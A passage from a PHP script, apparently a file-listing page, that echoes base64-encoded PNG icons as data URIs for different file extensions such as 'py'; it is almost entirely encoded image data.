FGaXgJsrlIoluhmOi78HvU42NUJX8NfUWvZZRP07Y7iTtMVwFo0XL1W6FKtuY/sj3oZ6G2/pWNrlAiaAuj1qAeZ/9gstPzwTdTbvdbjh9B6/FDsu6O40/QSEGhpVK3lVE5F5fb3YC8ZadimKHE0XQH6An54ak4hf8bsqHVneQUmv/sxbp0+AfeR/fD+cVn3hvKnz8b0L35Urf9/o4mMpflt4I3d7yOvagZMWdaodcViQcHcRSiYuwjeq3VoOrAHnppT2nekKBx2Amm+ERRoacLlbRvQ09oy4DHOCZMwftN2VGzdAcfIsbHsj+JM14dB3vqLqN28Gs0Hv0awq3PA43InVaHy7Z18G5jCdH8YFPJ2ouHLD9D4zacYNmchihY+B+f4StVxZmcuxm3YhvPrlwOD+P+JPDXVqH/nLdX6o598H/VZABkj5o+D+3oCuPnTYVx8cy3q3lgDb/1F1TE2VwmGVM2M9akoDgz9gZDuP6/g0pZ18NZfUn3NMbrMyKcig2h6CRj78usoXPBM5HE4GMSZF5+KOiYcCsF99DuU3fdyYHHmxbBNihdNV4Bgx+2ox4rFApPN1s9xHtVaoLVZ49YoEbTdCWxuUK3lTJyiWnOMUl/ufTeuaXkqShBNAfgarqvWRq98BfbSUXdOZrVh2JyFKHl+edQx4WCQAaQoTf8G6Lp8AZ2155A7eVpkzT5iDKbs+Ay97W0w2R0wO7JV39ew50OEur2x75YMp/ldwPVdO9Hn96nWs4YW9Dt8z5nTaDm8T9/uKO403wjy/3Md59e/hBHLVqFw/tNRP/lzr+5rV9G473N4aqoHdQOIkiOm3w625OXD5iqFzVUCa0Exgh0eBNxNCLibHvhZwb2shcVQlLsXolCPH8Hb6ncRquMC/n7fbaSCdPrtYN23goE7b/eCHR54r9bpPkfPTbehx5E2/NUw4RiAcAxAOAYgHAMQzgIlvMzokxYuWbnOMmTo40afN13Yy9U/GJOqlHAcbtJ42tv3Alhq+InJcHwJEI4BCMcAhGMAwjEA4RiAcAxAOAYgHAMQjgEIxwCEYwDCMQDhGIBwDEA4BiAcAxCOAQjHAIRjAMIxAOEYgHAMQDgGIBwDEC6mPxBBsfH5/aiurk7a87uKi0/yCpAkPr8f/n7+2FaiuIqLT86dN28BA0iCVBk+wH8DJFwqDR9gAAmVasMHGEDCpOLwAQaQEKk6fIABxF0qDx9gAHGV6sMHGEDcpMPwAQYQF+kyfIABGC6dhg8wAEOl2/ABBmCYdBw+wAAMka7DBxhAzNJ5+AADiEm6Dx9gALplwvABBqBLpgwfYACaZdLwAQagSaYNH2AAg5aJwwcYwKBk6vABBvBQmTx8gAE8UKYPH2AAA5IwfIAB9EvK8AEGoCJp+AADiCJt+AADiJA4fIABAJA7fIABiB4+APwLILdEgcxbRm4AAAAASUVORK5CYII="; } elseif ($ext == "py") { echo "data:image/png;base64,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"; } elseif ($ext == "indsc") { echo "data:image/png;base64,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